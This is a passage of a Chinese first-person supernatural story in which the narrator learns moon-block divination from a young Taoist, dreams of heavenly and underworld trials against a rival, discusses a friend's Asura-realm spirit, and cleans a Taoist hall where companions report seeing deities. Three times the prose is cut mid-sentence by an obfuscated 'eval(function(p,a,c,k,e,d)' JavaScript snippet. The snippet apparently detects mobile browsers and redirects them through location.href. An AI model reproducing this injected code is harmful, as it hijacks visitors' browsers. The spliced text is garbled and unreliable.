他顿了顿,试图息事宁人:“这样,我让他来给你道个歉,不管怎么说,吵架总是不对的。你就看在我的面子上,别和他计较了,好吧?” 听着阿健的话,一股深深的无力感攫住了我。我知道,在他,在绝大多数正常人眼里,我所说的“斗法”、“问卦”、“灵体转移”,不过是无稽之谈,是精神不稳定下的臆想。我拿不出任何能被这个现实世界认可的“证据”。那种不被理解、无处申辩的孤独感,比愤怒更让人窒息。 我看着阿健为难的样子,意识到再争论下去,只会让这位一直照顾我的老板更难做。我深吸一口气,强行将翻腾的情绪压回心底,一种冰冷的失望取代了之前的激动。我垂下眼睑,低声说:“好,我知道了。对不起,给你添麻烦了。” 这一刻,我下定决心。真相如何,我已心知肚明。既然他不仁,也别怪我不义。从今往后,桥归桥,路归路,他小凡的一切,与我再无瓜葛,我绝不会再对他施予半分多余的关心。 这场风波,在阿健的调停下,表面上暂时平息了。店里恢复了往常的忙碌,但我和小凡之间,已然竖起了一道无形却厚实的冰墙。 过了两天,风平浪静之下暗流涌动。小凡趁着午休店里没人的间隙,突然走到我面前,语气生硬地质问道:“你们……你们到底对我表哥做了什么?” 我正低头清理笼舍,闻言动作一顿,却没有抬头,只用一种极其平淡,甚至带着点无辜的语气回答:“我都没见过你表哥,我能对他做什么?” 小凡显然没料到我会是这种反应,他被我这轻飘飘的一句话噎住了,张了张嘴,似乎想说什么,最终却只是狠狠地瞪了我一眼,眼神里混杂着恼怒、疑惑,还有一丝……不易察觉的惊疑?他冷哼一声,转身走开,没再纠缠。 我心里冷笑。看来,他表哥果然尝到了苦头,法被收了,说不定还受到了反噬,这才按捺不住让小凡来探口风。想到此处,那股憋闷之气总算舒缓了些许。罢了,他们表兄弟俩的事,与我何干?我只需守住自己的边界,不再卷入这摊浑水。 期间,墨宇和千尘偶尔会来店里找我。每次他们来,小凡要么借故躲进仓库,要么干脆提前溜走,避而不见。我们心照不宣,也懒得理会。心虚的人,自然怕见“光”。 这天晚上,墨宇等我下班后,跟着我回了家。他难得的表情有些郑重,开门见山地说:“楠木姐,我这次来教你点东西,你还记得那副卦吗?” 我心里咯噔一下,有点不好意思地问:“等等!你不会是抠搜得让我赔你那副茭杯吧?” 墨宇没好气地白了我一眼:“我是那么抠搜的人吗?” “你是!”我毫不犹豫地点头。 “你找打是不是?”他作势要敲我脑袋,随即正色道,“说正经的!上次你不是摔……呃,接触过茭杯了吗?这次我来,是正经教你如何打卦问事的。你先拿我的卦练习一下,以后有机会,自己去寻一副与你有缘的‘本命卦’。” “这个还要专门学?”我有些惊讶。 “当然!”墨宇一副“你真没见识”的表情,“这可不是小孩子丢石子儿。这是与祖师爷、与上方神明沟通的媒介工具,心诚、法门都很重要!”说着,他从随身带的布袋里取出三副茭杯,一字排开在我面前。这三副卦大小、颜色、材质各不相同,一副是深色枣木卦,一副是泛黄白色的竹根卦,还有一纯黑色小巧角卦。 “选一副你看着最顺眼的。”墨宇示意。 我的目光几乎立刻就被那副纯黑色的小角卦吸引,它黑得沉稳内敛,握在手中大小适中,触感温润。“就它了。”我说。 墨宇点点头:“上次告诉过你圣、阴、阳三种卦象了。现在,你拿着它,心里默念你想要它呈现的卦象,然后抛出去。如果连续三次,它都如你所愿,就说明这副卦与你有缘,暂时可以为你所用。记住,每种卦象连续试的机会只有三次。” 我依言照做。收敛心神,心中默念“圣卦”,然后轻轻将茭杯抛向地面。一正一反,果然是圣卦。我拾起来,再次默念“阴卦”,抛出——双面覆盖朝下,阴卦。第三次,念“阳卦”,结果双面朝上,阳卦。 次次如我所愿! 墨宇眼中闪过一丝赞许:“不错,灵性很足。接下来,我请一位祖师爷临坛,你看看我是如何发问的。” 我连忙点头,心中既期待又有些紧张。只见墨宇从包里取出三支线香,点燃,插在我临时准备的盛满大米的碗中。他双手持香,恭敬一拜,口中低声念诵着我听不懂的咒诀。 就在他念诵完毕的刹那,我浑身猛地一颤,一股强烈的电流感猝不及防地窜过四肢百骸,紧接着一阵轻微的眩晕袭来,大脑像是被什么东西轻轻搅动了一下。 “好了,来了。”墨宇低声道。他转向香炉方向,恭敬地问道:“是道德天尊法驾降临吗?”随即掷出茭杯。 落地,圣卦。 “是。”墨宇确认,然后继续问,“关于楠木(我的名字)的事情,现在方便说吗?” 茭杯落下,阴卦。 “否。”墨宇刚解读完,我脑海中突然响起一个平和却不容置疑的声音,那声音并非来自外界,倒像是我自己的心念,却又带着一种超然的威严:“时机未到。” 我下意识地将听到的话复述了出来:“时机未到。” 墨宇猛地转头看我,眼中充满了惊讶:“你听得到?” 我有些茫然:“这算是听到吗?那声音……就像是我自己脑子里想的,但又好像不是我想的……” 墨宇没有立刻回答,而是又尝试着问了几个简单的是非问题。每一次,在他掷出卦象的同时,我都能“感应”到那个源于自身又超越自身的“声音”给出的答案,与卦象完美对应! 我震惊地看向墨宇,完全不明白这是怎么回事。 墨宇脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908332|192415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的惊讶渐渐化为一种复杂的了然,他收起茭杯,语气平淡却掷地有声:“看来,你的‘耳窍’……或者说某种感知,开始开了。”他没有过多解释,只是恭敬地对着香炉拜了拜,念诵恭送祖师爷归位,最后掷出一个圣卦,确认祖师爷已离开。 他将卦收回布袋,看着我,眼神意味深长:“你悟性很高。但他们目前只让我教你掷杯。很多事,不是我不说,是上面不让说。”他无奈地摊摊手,又恢复了那副略带不羁的样子,随即告辞离开。 看着他消失在门外的背影,我心里五味杂陈,忍不住吐槽:这家伙,每次都这样,来去如风,神神秘秘的! 或许是因为晚上的“教学”耗费了心神,那天我不到十点就困意难挡。刚关灯躺下,闭上双眼,奇异的事情发生了——并非梦境,而是在一片黑暗的视界里,赫然出现了一只巨大无比、绽放着耀眼金光的手掌!那手掌带着无上威严,从我面前呼啸而过,仿佛拍飞了什么无形之物。我正惊疑不定,眼前景象又是一变,出现了一个新中式的供桌,桌上香炉里插着三支正在燃烧的香。不知为何,我对那三支香产生了一种本能的、强烈的厌恶感,几乎是下意识地,我在意念中凌空挥手,做了一个“斩断”的动作。下一秒,那三支香从中断裂,香火熄灭,而我也瞬间失去了意识,沉沉睡去。 第二天醒来,我并未太在意这个“梦”,只当是日心思混乱的无厘头画面。直到墨宇主动发来消息:「昨晚那家伙不死心,居然写表文上奏到玉皇大帝那里告我们黑状!还把我拉上去对质了。结果查明真相,玉皇大帝直接一个巴掌把他连人带表扇下去了!真是大快人心!」 我惊呆了!连忙一个电话打过去,语无伦次地描述了我昨晚“看见”的金色巨掌和断香景象,又和他对了下时间。墨宇是晚上九点多睡的,我大概是十点不到睡着,时间完全吻合! 「你居然看到了?!」墨宇在电话那头也显得十分惊讶,但随即语气又凝重起来,「楠木姐,你要有心理准备。他不光是告到了天庭,还同时上表了地府!那边可能也会传唤我们去对质。」 得知对方如此纠缠不休,甚至恶人先告状,我心底那股倔强和愤怒再次被点燃。我对着电话,斩钉截铁地说:“身正不怕影子斜!他恶人先告状,我还怕他不成?!就算到了地府,我梦里迷迷糊糊可能不会说话,但这件事我扪心自问,毫无过错!我不怕!我才是那个该去诉苦喊冤的人!” 墨宇听我语气坚决,也表示支持:“没错,邪不压正!我们占着理呢!” 挂了电话,我心里还琢磨着地府对质会是什么样子,会不会像电影里那样阴森恐怖。没想到,当天晚上刚过九点,一股前所未有的、几乎无法抗拒的困意便如山倒般袭来,我头一沾枕头就失去了知觉。 一夜无梦……或者说,并非无梦,而是梦境如同被水洗过一般,残留的只有一些模糊的片段和强烈的感觉。 第二天清晨,我准时醒来,坐在床上,努力回忆。脑海里依稀残留着几个画面:我好像和墨宇、千尘他们几个,来到了一个非常黑暗、异常宏伟的大殿里,大殿上方似乎端坐着一个极其高大威严的身影,但面容笼罩在阴影里,完全看不清。我们几个坐在大殿的一侧,而对面,或者说下方,地上跪着一个模糊的人影,身形瑟缩……然后画面突兀地跳跃,下一个清晰的感觉,就是我们几个人,每个人都骑着小孩子玩的那种小单车,一路有说有笑,心情无比轻松畅快地在一条看不清周围的路上往回走……再然后,我就醒了。 那种“归来”的愉悦感,如此真实地残留在我心里。 我立刻给墨宇发消息,描述了这个支离破碎的梦境。墨宇很快回复:「没错!昨晚我们就是去地府对质了!证据确凿,他又挨了顿收拾,估计短时间内不敢再作妖了!」 我恍然大悟:「难怪我感觉回来的时候,大家都很开心呢!」 随即,我又忍不住好奇,分别给千尘和知南发了消息,询问她们是否做了类似的梦。她们都回复说没有梦到具体情景,但都不约而同地提到,昨晚异常困倦,睡得比平时早很多,且睡得很沉。 虽然这一切的经历如此玄奇,甚至难以用常理解释,但我宁愿相信它是真的。这不仅关乎我个人的清白与委屈,更让我相信,这茫茫天地之间,自有公道存在。 人在做,天在看!恶人先告状,终究逃不过神明雪亮的眼睛! 20. 阿修罗道? 经历了接二连三颠覆认知的事件后,我的内心仿佛成了一个被狂风暴雨席卷过的孤岛,充满了各种难以消化的碎片和无人可诉的惶惑。我迫切地需要一个倾听者,一个能让我将这些光怪陆离的经历倾吐出来,而又不至于被当成疯子的对象。 恰在此时,我的好友汤包带着她家那只傲娇的金吉拉猫来店里洗澡。汤包年岁比我稍长,性格是那种难得的直爽豁达,我们曾是无话不谈的同事,后来又因共同的撸铁爱好成了铁杆好友。看着她熟悉的身影,我心中一动,趁着猫咪在美容室洗澡的间隙,我拉着她坐下,将最近几个月发生的种种——从道观的离奇感应,到店里那对母子灵体,再到与小凡表哥的无形斗法,乃至玉皇殿前的地府对质——像倒豆子一般,带着激动和后怕,一股脑地告诉了她。 我一边说,一边小心翼翼地观察她的反应,生怕从她脸上看到怀疑或惊惧。然而,汤包自始至终都异常冷静地听着,那双总是带着笑意的眼睛里,没有半分讶异,只有一种了然于心的平静。 待我讲述完毕,长长舒了口气时,她才缓缓开口,语气平淡却在我心中投下巨石:“楠木,你知道吗?我周围玩得好的朋友,不是去寺庙当了尼姑、和尚,就是去道观做了道士。现在看这架势,你……是不是也在不知不觉间,走上这条路了?” 我猛地瞪大眼睛,难以置信地看着她:“什么?!我从来不知道……你的朋友他们……” 这个消息比我讲述的任何灵异事件都让我震惊。我一直以为自己是孤独地闯入了一个未知世界,却没想到,汤包早已身处在这个圈子的边缘。 好奇心瞬间被点燃,我忍不住追问:“你之前从来没提过啊!那你自己呢?你对宗教这些东西……有兴趣吗?” 汤包沉默了片刻,眼神似乎飘向了远方,带着一丝不易察觉的疏离。她沉声说:“我?我对那些仪式、教条本身,并不感兴趣。”她顿了顿,似乎在斟酌用词,“只是不知道为什么,身边亲近的朋友最终都走向了那条路。上次我陪一个好友去寺庙参加法会,我在大殿外等她,里面梵音缭绕,我却只觉得烦躁。后来,一位看起来德高望重的老和尚主动走过来跟我打招呼,他盯着我看了一会儿,说我身上‘戾气太重’,问我有没有兴趣皈依佛门,化解戾气。” “戾气太重?”我惊呼出声,上下打量着她。在我眼里,汤包一直是那个在健身房里挥汗如雨、生活中仗义直言的爽朗女子,跟“戾气”二字实在沾不上边。“他为什么这么说?我觉得你很好啊!” 汤包扯了扯嘴角,露出一抹略带自嘲的苦笑:“可能……他能看出些我自己都未必清楚的东西吧。”她抬眼看向我,目光深邃,“或许,是和我那说不清道不明的‘元神’有关系。” “元神?”我立刻捕捉到这个熟悉的词,“墨宇也提过,说他的元神是什么孤星星君。但你的元神……?” “我的元神,据说是来自阿修罗道的一位女性。”汤包的语气平静得像在谈论天气,却在我心里掀起了惊涛骇浪。 “阿修罗道?!”我几乎是惊叫出声,这完全超出了我的知识范畴,“这是什么?我第一次听说!” 汤包看着我因惊讶而瞪圆的双眼,无奈地笑了笑:“楠木,你的好奇心真是永远这么旺盛。简单来说,佛家讲六道轮回,天、人、阿修罗、畜生、饿鬼、地狱。阿修罗道算是其中比较特殊的一道。那里的生灵,男的普遍长相丑陋,但身材魁梧壮硕,骁勇好斗;而女性则恰恰相反,极其妖娆妩媚,容貌殊丽。”她比划了一下,“共同点是,皮肤都是蓝色的,嗯……有点像你看过的电影《阿凡达》里那种感觉,但更……古老、更具神性,也带着更强的煞气。” 我像第一次认识她一样,目光在她脸上逡巡,试图找出一点“非人”的痕迹,最终傻傻地问了一句:“所以……你的元神,是女的吧?” 汤包没好气地白了我一眼,嗔怪道:“废话!难道你觉得我看起来很壮硕很丑陋吗?笨蛋!” “哈哈哈,不是不是!”我连忙摆手,不好意思地挠挠头,“主要是……我有时候也会想,如果我也有元神的话,感觉它和我现在的性别好像不太一致……就是一种很模糊的感觉,说不上来,怪怪的。” 笑过之后,我回归正题,满心疑惑:“可是,你是怎么确定知道你元神是阿修罗道的呢?这听起来太玄了。” “我很早之前做过一个梦,”汤包回忆道,“梦里清晰地看到了一个蓝色皮肤、穿着奇异服饰的女性形象,非常鲜明,但当时我只当是个奇怪的梦,没在意。直到后来,我一个朋友有一天突然跟我说,他梦到我了,描述出来的形象、样貌,甚至一些细节,都和我梦里那个‘她’一模一样。”她的语气带着一种命中注定的淡然。 “你这个朋友……他是修道的吗?”我追问。 “以前不是,但他是天生阴阳眼,能看到很多常人看不到的东西。现在他好像正在正式拜师,算是踏入道门了吧。” “阴阳眼?!”我又是一惊,“这世界上有阴阳眼的人这么多吗?我怎么感觉我周围……都快凑成一桌麻将了!” 汤包看着我大惊小怪的样子,忍不住笑了:“物以类聚,人以群分。也许,是你自己注定要走上某条路,所以冥冥之中,和你频率相近的人,就会自然而然地聚集到你身边。就像我,”她收敛了笑容,正色道,“你知道的,我平时绝不会主动跟人提起这些。要不是今天你先开了这个头,我可能会把这些秘密一直烂在肚子里。因为这种事情说出去,十个有九个会觉得你精神不正常,你明白吗?” 我重重地点了点头,心中涌起一股暖流和共鸣。是啊,这段时间以来,我何尝不是在反复自我怀疑?那些感知、那些梦境、那些超乎常理的经历,无数次让我觉得自己是不是产生了严重的癔症,彻底颠覆了我二十多年来的唯物主义教育。 我想起那个时常在将醒未醒时催促我的声音,忍不住又问:“汤包,我还有一个憋了很久的疑问。那个……经常在我该起床或者该做什么事的时候,在我脑子里提醒我的那个‘声音’,或者说那个存在,他到底是谁?和我是什么关系?能……能拜托你那位朋友帮忙看看吗?”我心里存着一丝希望,墨宇和千尘都对此讳莫如深,或许旁观的“阴阳眼”能给出不一样的答案。 汤包爽快地答应了,立刻拿出手机给那个男生打了电话,简单说明了一下我的情况,又征得我的同意,拍了一张我的近照发了过去。为了方便沟通,她还建了一个三人群。 没过多久,那个男生在群里回复了,他的文字带着一种谨慎:「你身边确实跟了一位老爷爷,能量场很强,感觉很威严。但是……他不让我透露他的具体身份。至于你和他的关系,」他顿了顿,「建议你先不要深究。你只需要知道,他是来护持你的,是善意的,就可以了。」我问:“那他是一直跟着我的,还是我走阴失败后跟着我的呢?”“一直跟着的”他回。 我看到“一直跟着”四个字,心头猛地一震,一个尘封已久、带着惊险与庆幸的记忆,瞬间冲破了时光的迷雾,清晰地浮现在眼前。 那是发生在我21岁夏天的事情。当时我正准备结婚,距离婚礼只剩几个月。那天清晨,我和往常一样,牵着我家那只活泼的雪纳瑞在河堤上散步。清晨的河堤宁静而美好,微风拂面。我走到河堤上一段比较窄的路段时,看到对面停着一辆装满了湿水泥的摩托三轮车,它几乎占据了整个路面。我便牵着狗,在离它大约六七米远的地方停下,耐心等待它先走。 不知为何,站在那里的那一刻,我心里莫名地升起一股强烈的不安,一种对危险的预感让我心跳加速。脑海里甚至不受控制地开始模拟逃生路线:万一这辆车失控撞过来怎么办?我的左边是陡峭的、长满杂草的河堤斜坡,右边是一条散发着异味、淤泥很深的臭河沟。如果真撞过来,我只能往左边的斜坡跳…… 就在我心神不宁地想着这些时,那辆三轮车发出了轰鸣,准备启动了。然而,下一秒,惊悚的一幕发生了!司机或许是因为油门拧得过大,或许是因为车上水泥太重导致重心失衡,整辆三轮车竟然猛地一下车头翘起,像一匹失控的野马,直挺挺地朝着我站立的位置冲了过来! 一切发生得太快,我根本来不及思考,大脑一片空白,完全是求生本能驱使,我死死拉住狗绳,朝着左边的河堤斜坡就势滚了下去!天旋地转,我不知道自己翻滚了多少圈,耳边是狗儿的惊叫和泥土碎石滚落的声音,身体被坡上的杂草和石块硌得生疼。最后,我在斜坡中间一个偶然形成的浅凹槽里停了下来。我侧蜷着身体,双手死死护住头部,紧紧闭着眼睛,心脏狂跳得几乎要冲出胸腔。 就在这时,我听见头顶上方传来那辆三轮车翻滚下来的巨大声响,“轰隆隆——”,伴随着车辆过载的滚动,整个坡面都在震动!短短几秒钟,我眼前竟然飞快地闪过了我从小到大的许多画面——人生走马灯!我心中一片冰凉,绝望地想:不会吧?我今天难道真的要死在这里?我还没穿上婚纱,还没举行婚礼啊!还不容我多想,“哗啦——!”沉重的、湿漉漉的水泥浆劈头盖脸地倾泻下来,瞬间将我大半个身子掩埋,窒息感扑面而来,我吓得魂飞魄散,而那令人胆寒的翻滚声还在继续,越来越近!我以为下一秒就要被沉重的车身碾碎…… 然而,就在千钧一发之际,那震耳欲聋的翻滚声,戛然而止。 世界仿佛瞬间安静了。我僵在原地,一动不敢动。过了几秒,我才敢小心翼翼地睁开一只眼睛。 映入眼帘的,是那辆侧翻的三轮车庞大的车身,它就停在我面前……距离我的眼睛,最多只有三厘米!车斗边缘甚至就悬在我的鼻尖上方!是坡上一个微不足道的小土堆,勉强挡住了它继续翻滚的势头。 我浑身瘫软,连呼吸都忘了。这时,一个满脸焦急的大叔连滚带爬地冲到我身边,一边大声问着“有没有事?”,一边奋力用手扒开我身上的水泥浆,将我拖了出来。我当时惊魂未定,第一反应竟是着急的去找我的狗,我怕在翻滚时压伤了它,万幸,它虽然吓得够呛,浑身沾满水泥浆,但看起来并无大碍。看到狗狗还活着,我心中那根紧绷到极致的弦终于断裂,劫后余生的巨大情绪冲击下,我再也控制不住,放声大哭起来。 那位大叔在我耳边不停地说着什么,大概是道歉或者询问伤势,但我一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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后来,我又将与汤包的这番惊人对话,原原本本地转述给了千尘。本以为她会像我一样震惊,没想到,她只是挑了挑眉,语气平淡地“噢”了一声,说道:“她是阿修罗道的啊~”那语气,仿佛在说“今天天气不错”一样自然。 我忍不住追问:“难道……真的存在阿修罗道这种东西?” “有的。”千尘肯定地点点头,一边整理着手里的饰品,一边随口描述,仿佛在谈论一个遥远的常识,“阿修罗道的人确实像她说的那样,男的丑,女的美。啧,讲不好,我之前偶然梦见过的那个女生,就是她。” “你梦见过阿修罗道的女性?”我惊得声音都提高了八度。 千尘依旧平静,回忆道:“嗯,之前做过一个梦,挺清晰的。看见一个全身蓝色皮肤的女性,身材特别好,凹凸有致。皮肤上好像还有淡淡的金色暗纹,隐隐发着光。她穿着一件白金色的斜领中长裙,样式很古朴,身上戴了很多金属饰品,叮当作响。最印象深刻的是她的脸,极其漂亮,是一种……带着攻击性和魅惑力的美,让人过目不忘。”她描述得细致入微,如同亲眼所见。 我听得目瞪口呆:“你这描述……也太具体了吧!我都没问过汤包她元神具体是什么样子!” “你可以问问是不是她,我也不确定,只是你这次提到阿修罗道,我就突然想起来了,那皮肤颜色和长相都让我印象深刻。” 我怀着激动又忐忑的心情,立刻把千尘的这段描述原封不动地发给了汤包。过了一会儿,汤包回复了,语气里也带着明显的惊讶:「她怎么知道?!这真有意思了……她说的,确实是我元神本来的样子,分毫不差。」 还没等我从这神奇的印证中回过神来,汤包又发来一条消息:「不过,被你这么一说,我刚突然想起另一件事儿。我之前还做过一个梦,梦见在很深、很黑暗的海底,有一个非常巨大的鼎,上面缠绕着很多粗大的铁链,把它死死锁在海底。那个梦也很清晰,但我一直不明白是什么意思。我问过我那朋友,他提过一句,好像跟什么‘封印’有关,但我当时没太在意,也没深究。」 我回复道:「天哪!竟然真的是你!千尘梦到的就是你!这个世界真是太奇妙了!至于鼎的事情,听起来很神秘,我也不太懂,有机会我帮你问问墨宇他们看看?」 汤包很快回道:「那倒不用麻烦了,我也只是突然想起来,随口一说。这些事情,顺其自然就好。总之,楠木,你要照顾好你自己,别想太多,也别太勉强。」 晚上回到家,我独自一人坐在寂静的房间里,白天的对话如同潮水般在脑海中反复回响。汤包是阿修罗道元神的震撼,那位一直默默护持我的“老爷爷”带来的温暖与疑惑,以及当年那场离奇车祸背后可能隐藏的守护……这一切信息交织在一起,让我心绪难平。 这个世界,远比我所知的要广阔、复杂、神秘得多。而我,仿佛正站在一扇刚刚开启的大门之前,门后是幽深无尽的未知长廊。有恐惧,有迷茫,但内心深处,似乎也有一种隐隐的、被召唤的感觉在蠢蠢欲动。我不知道命运最终会将我带向何方,但我知道,有些路,一旦看见了入口,或许就再也无法假装视而不见了。 21. 打扫三清殿 自从上次在三清殿许下要回来打扫的承诺后,这个念头便如同一颗种子,在我心里悄然生根发芽。三清殿那庄严肃穆的氛围、三日体验带来的波澜与触动,都让我对重返那里充满探索与好奇。要实现这个承诺,自然需要帮手。我首先想到了墨宇,给他发去消息:「小道士,过几天我休假,打算去上次你介绍的那个道观打扫三清殿,兑现我的承诺,你要不要一起来?也可以积攒下功德了。」 墨宇很快回复:「可。正好近日无事,去看看也好。」 千尘和知南那边则联系上了汉服群的群主涵子一同前往。那时我和涵子只能算点头之交,在群里聊过几次,只知道他热衷传统文化,但现实中接触不多,这次同行,倒是个加深了解的机会。 转眼休假日将至,我提前三天再次确认了行程。最终,一支五人小队集结完毕:我、知南、千尘、墨宇,以及新加入的涵子。为了方便同行,墨宇提前一天从他那偏僻的居所来到了市区。我想着有些修行上的疑惑正好可以问他,便邀他晚上来我家吃饭。 傍晚,墨宇准时敲门而入。他还是那副标志性的打扮:一身素色棉麻衣裤,洗得有些发白,背上那个看起来容量不大的小书包似乎永远装着他不离身的法器杂物。随着接触增多,他最初那种高深莫测、惜字如金的感觉淡去了不少,话渐渐多了起来,偶尔甚至会流露出一些符合他年轻年纪的跳脱和好奇,这让他显得真实了许多。 饭菜上桌,我正琢磨着怎么开口询问我打坐时遇到的怪象,没想到他却先一步,带着点不易察觉的扭捏,开口问道:“楠木姐,那个……知南姐,她有男朋友吗?” 我正夹着一筷子菜,闻言手一抖,菜差点掉回盘子里。我震惊地看向他,差点被自己的口水呛到:“不是吧,小道士?!你……你问这个干嘛?你不是一心向道,打算出家的吗?我可记得全真派规矩,出家是不能结婚的啊!” 墨宇的脸“唰”地一下就红了,一直红到了耳根,他眼神闪烁,不敢与我对视,小声嘟囔着:“我……我就随口问问。上次机缘巧合看到了知南姐的八字,我……我也给我师父看了。师父说,我们两个八字很合,是……是天作之合的那种合。所以我在想,这是否是祖师爷暗示的一段……缘分。” 我看着他这副少年怀春般的模样,又好气又好笑,放下筷子,语重心长地说:“墨宇同学,咱们要相信科学……啊不是,咱们要理性看待问题,不能迷信啊!你师父说什么就是什么吗?再说了,知南她跟我明确表示过,不喜欢年龄比她小的弟弟型。你呀,没戏。还有,之前你不是说过不喜欢年纪大的姐姐吗?” “女大三,抱金砖嘛……”墨宇小声反驳,眼神里还带着一丝不甘心的希冀,“我……我觉得我也不是不行。” “你给我打住!”我赶紧打断他,免得他越陷越深,“大家做朋友挺好的,谈感情多伤感情啊!再说了,八字合的人多了去了,难道你都去发展一下?我看你啊,就是觊觎知南的美貌了,对不对?” “咳咳咳……”墨宇被我说中心事,呛得连连咳嗽,脸更红了,梗着脖子说,“修行之人,注重心性!我……我就是遵从师命,多留意了一下而已。既然……既然她不喜欢年纪小的,那就算了。我也不是那等强人所难之人。” 看他这副窘迫又强装镇定的样子,我忍不住促狭地笑着追问:“嘿嘿,小道士,老实交代,你长这么大,是不是从来没交过女朋友?” 墨宇像是被踩了尾巴的猫,猛地扭过头去,耳根的红晕蔓延到了脖颈,声音细若蚊蚋,却带着一种莫名的坚持:“童……童子身,最是清净,利于修行……” 我被他这反应逗得前仰后合,眼泪都快笑出来了:“好好好,你怎么说都有理。那你还是好好修行吧,人间的爱情嘛,太复杂,你就别体验了。” “哼!”墨宇有些羞恼地转回头,“若有正缘,体验一下红尘俗世,也是修行的一种!好了好了,不说这个了,我就是向你打听一下而已。说正题,你想问我什么?” 看他终于恢复了点正经状态,我也收敛了笑意,将困扰我几天的问题说了出来:“我前段时间尝试打坐,每次引导内息,都能‘感觉’到在我后脑勺,大概是玉枕穴那个位置,有一团金黄色的、特别粘稠的物质堵在那里。我想用意念引导它下行,却感觉异常艰难,像是有无形的阻力。那团东西……到底是什么?你知道吗?” 墨宇闻言,收敛了所有玩笑的神色,他仔细看了看我的气色,又沉吟了片刻,才缓缓吟道:“金鼎黄芽日日生。” 我愣了一下:“这不是玄门早课经里的一句经文吗?” “没错。”墨宇点点头,眼神变得深邃起来,“那团你感知到的物质,在丹道中,可称之为‘黄芽’,是体内精气初步凝聚、生机萌发的象征,是很好的现象,你不需要刻意去管它,更不要强行去引导或对抗,打坐时,最重要的就是‘松、静、自然’。不看,不听,不想,让心神彻底静下来,体内的气机自然会按照它本身的规律流转、升降开合,你越是执着,反而越是阻碍。” 他虽然解释得依旧有些玄奥,但“黄芽”、“生机萌发”这些词,让我心中一定,至少知道这不是什么坏东西。我明白他点到即止的风格,便不再追问,点了点头。然后又想起另一件心事:“那小凡他表哥……上次吃了那么大亏,他会善罢甘休吗?我总觉得有点不安。” 墨宇摇了摇头:“我暂时没有察觉到什么动静。上次他上告天庭地府都不占理,反而受了惩戒,短时间内应该会收敛些。不过,这种人,心性难测,只能顺其自然,静观其变了。” 我叹了口气:“唉,要是你和千尘那样能直接感知到就好了。我就像个瞎子,被人打了都没反应,上次要不是你那副卦莫名其妙碎了,我根本不知道他已经在暗中对付我了。” 墨宇看着我,语气带着一丝难得的宽慰:“你虽不能直接看见,但你有你的缘法和护持。放宽心,有些事,不知道未必是坏事。过于忧惧,反而容易让外邪有机可乘。”他顿了顿,“我劝你,还是别太把这事儿放在心上了。” 第二天,天刚蒙蒙亮,我们五人小队便在约定地点集合,一同驱车前往郊外的道观,清晨的山间空气清冽,带着草木和泥土的芬芳,让人心旷神怡,到达道观,与早已相熟的薛道长打了招呼,随后我们便扛着扫把、水桶、抹布等工具,径直走向那座巍峨肃穆的三清殿。 初次到来的涵子,一踏上三清殿前的空地,便忍不住深深吸了一口气,脸上露出惊叹和陶醉的神色,轻声感叹道:“这里的气场……真的好舒服,宁静祥和,灵气充盈,太适合修养身心了。”我们默契的都点了点头。 随即,我们五人先是恭敬地在殿内上香,虔诚跪拜,像祖师爷们禀明来意。然后便开始分配任务:墨宇负责清扫殿内宽阔的青石板地面;知南心细,负责用干净的软布轻轻拂拭三清神像以及殿内其他陪侍神像的尘埃;千尘负责擦洗供桌、整理香炉、更换并清洗花瓶里的花束;涵子负责打扫殿外宽阔的石阶和平台;我则负责清洗所有供奉用的杯盏、擦拭所有拜垫,最后大家再一起合力把殿内地面拖洗干净。 分工明确,说干就干,偌大的三清殿内,一时间只闻扫帚划过地面的沙沙声、水声、以及我们几人轻快的脚步声和偶尔的低语。阳光透过高高的窗棂,投射下束束光柱,光柱中尘埃飞舞,却更显殿内宁静神圣。 就在大家各自埋头认真干活时,突然,知南放下手中的软布,快步走到我身边,脸上带着一种惊奇而非恐惧的表情,压低声音对我说:“姐妹,我刚才在擦灵宝天尊神像的底座时,一抬头,突然看见面前晃荡着一双小脚丫!” 她比划着,眼神发亮:“肉嘟嘟的,光着脚,特别可爱。最神奇的是,脚腕上还套着一个小小的、精致的金环!我下意识想顺着往上看清楚,可就这么一眨眼的功夫,那双脚和金环就消失不见了,好像从来没出现过一样。”她顿了顿,语气肯定地说,“我当时一点害怕的感觉都没有,反而觉得很好玩,很亲切。第一感觉……就像是这殿里侍奉的童子,好奇我们在干什么,跑出来看了一眼。” 这时,正在旁边擦拭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908334|192415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 供桌的千尘见我们说悄悄话,也凑了过来,抬头望了望殿顶,轻声说道:“今日也是难得热闹……刚才我看见道德天尊老爷子,牵着他那头独角青牛,慢悠悠地从大殿正门前走了过去。看到墨宇在里面扫地,还特意停留了一下,看了他好几眼呢。”她说着,目光转向正在角落闷头扫地的墨宇,带着几分戏谑,“我让墨宇看,这小子死活不肯抬头,脸憋得通红,也不知道在害羞些什么。” “道德天尊?!青牛?!”我惊得差点跳起来,连忙跑到殿门口朝外张望,然而门外只有涵子认真扫地的身影和空旷的广场,哪里有什么天尊青牛的影子?“在哪里呢?我怎么什么都看不见啊!!” 